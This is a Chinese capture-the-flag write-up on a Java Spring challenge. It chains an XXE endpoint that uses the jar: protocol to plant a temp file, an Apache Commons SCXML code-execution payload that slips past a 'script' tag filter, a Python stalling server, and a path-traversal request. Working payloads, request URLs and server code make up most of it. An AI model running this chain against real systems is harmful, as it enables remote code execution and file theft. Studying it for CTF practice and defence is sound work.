package BOOT-INF.classes.com.example.demos; import java.io.File; import java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.io.SCXMLReader; import org.apache.commons.scxml2.model.SCXML; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.w3c.dom.Document; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; @EnableAutoConfiguration @Controller public class Test { private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); Document doc = builder.parse(fileName); NodeList nodes = doc.getElementsByTagName("script"); if (nodes.getLength() != 0) return Boolean.valueOf(false); return Boolean.valueOf(true); } @RequestMapping({"/object"}) @ResponseBody public String object(@RequestParam(name = "object", required = false) String object) throws Exception { SCXMLExecutor executor = new SCXMLExecutor(); String file = "file:///home" + File.separator + object; try { if (check(file).booleanValue()) { SCXML scxml = SCXMLReader.read(file); executor.setStateMachine(scxml); executor.go(); return "X ME , X ME , XX ME ~~"; } System.out.println("nonono"); } catch (Exception e) { System.out.println(e); } return "X E , X E , XX E ~"; } @RequestMapping({"/xxe"}) @ResponseBody public String xxe(@RequestParam(name = "uri", required = false) String uri) throws ParserConfigurationException, IOException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); Document doc = builder.parse(uri); NodeList nodes = doc.getChildNodes(); String res = ""; for (int i = 0; i < nodes.getLength(); i++) { if (nodes.item(i).getNodeType() == 1) res = res + nodes.item(i).getTextContent(); } return res; } }
xxe路由可以通过file协议或者netdoc协议读取文件,后者可以列目录
object路由在通过check之后,读取传入的文件路径,然后进行scxml解析
这个scxml最近出现了一个RCE漏洞
https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
check过滤了script
标签,但是我们可以使用assign
代替
le1a.xml内容如下
<?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <state id="run"> <onentry> <assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/> </onentry> </state> </scxml>
要实现rce,必须要上传我们的poc,但是这里除了xxe以外,并没有上传点,于是学习到一个trikejar协议上传临时文件
将le1a.xml
重命名为le1a.jar
,利用jar协议
去读取le1a.jar
的内容,但由于必须要使用!
指定解压哪个文件,这里的jar本身就是我们改的后缀名,本质不是一个压缩包,所以我们随便指定一个不存在的le1a.txt
即可
xxe.xml放在http服务器上
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "jar:http://ip:4444/le1a.jar!/le1a.txt" >]> <root><name>&xxe;</name></root>
通过题目的xxe功能去访问服务器上的xxe.xml文件
http://127.0.0.1:8080/xxe?uri=http://ip:7777/xxe.xml
使用server.py
构建一个传输服务器,用于将le1a.jar
上传到题目环境中
import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = '0.0.0.0' listen_port = 4444 jar_file = sys.argv[1] class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self): http_req = b'' print('New connection:',self.client_address) while b'\r\n\r\n' not in http_req: try: http_req += self.request.recv(4096) print('Client req:\r\n',http_req.decode()) jf = open(jar_file, 'rb') contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''') self.request.sendall(headers.encode('ascii')) self.request.sendall(contents[:-1]) time.sleep(30) print(30) self.request.sendall(contents[-1:]) except Exception as e: print ("get error at:"+str(e)) if __name__ == '__main__': jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()
可以看到临时文件已经存在于题目环境中,内容即为rce的poc(如果是打远程,可用netdoc协议去列出/tmp目录下的文件)
通过object路由去触发rce漏洞即可(这是我本地环境中的tmp目录,题目环境的tmp目录为/tmp)
http://127.0.0.1:8080/object?object=../../../../var/folders/45/j2rhfghn4s52ky4yznld54400000gn/T/jar_cache60887227063502351.tmp
我造!!!!!!!!!
https://jlkl.github.io/2020/08/24/Java_03/
https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/